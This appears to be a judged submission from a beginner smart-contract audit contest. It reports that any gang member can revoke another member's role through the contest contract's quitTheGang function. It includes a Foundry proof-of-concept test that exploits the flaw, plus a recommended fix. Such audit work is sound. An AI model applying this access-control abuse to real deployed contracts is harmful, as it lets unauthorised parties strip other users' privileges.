First Flight #16: Mafia Takedown
First Flight #16
Beginner FriendlyDeFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Any gangmember can kick out any other gangmember from the gang via `Laundrette::quitTheGang`

paprikrumplikas

Summary

Any gangmember can kick out any other gang member from the gang by specifying that other gangmember's address as an input parameter to Laundrette::quitTheGang.

Vulnerability Details

Laundrette::quitTheGang is supposed to allow:

  • gangmembers to quit the gang, and

  • the godfather to kick out any gangmember if he sees fit.

However, an incorrect implementation allows not only the godfather but any gangmember to kick out any other gangmembers from the gang.

This is demonstrated by the following test:

Proof of Code
function testGangMemberCanKickOtherMemberOut() public {
// grant Godfathar gangmember status - @note this method hides another error in the code
vm.prank(kernel.admin());
kernel.grantRole(Role.wrap("gangmember"), godFather);
​
// Godfather adds 2 gangmembers
address gangmember_1 = makeAddr("gangmember_1");
address gangmember_2 = makeAddr("gangmember_2");
vm.startPrank(godFather);
laundrette.addToTheGang(gangmember_1);
laundrette.addToTheGang(gangmember_2);
vm.stopPrank();
​
assertEq(kernel.hasRole(gangmember_1, Role.wrap("gangmember")), true);
assertEq(kernel.hasRole(gangmember_2, Role.wrap("gangmember")), true);
​
// gangmember_1 kicks out gangmember_2
vm.prank(gangmember_1);
laundrette.quitTheGang(gangmember_2);
​
assertEq(kernel.hasRole(gangmember_2, Role.wrap("gangmember")), false);
}

Impact

Any gangmember can kick out any other gangmember (including the godfather) from the gang.

Tools Used

Manual review, Foundry.

Recommendations

To ensure that only the godfather can kick gang members out and that gangmembers can quit themselves, modify Laundrette as follows:

- function quitTheGang(address account) external onlyRole("gangmember") {
- kernel.revokeRole(Role.wrap("gangmember"), account);
- }
​
+ function quitTheGang() external onlyRole("gangmember") {
+ kernel.revokeRole(Role.wrap("gangmember"), msg.sender);
+ }
​
+ function kickGangmemberOut(address member) external isGodFather {
+ kernel.revokeRole(Role.wrap("gangmember"), member);
+ }
Updates

Lead Judging Commences

n0kto Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Gang members ban other members

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.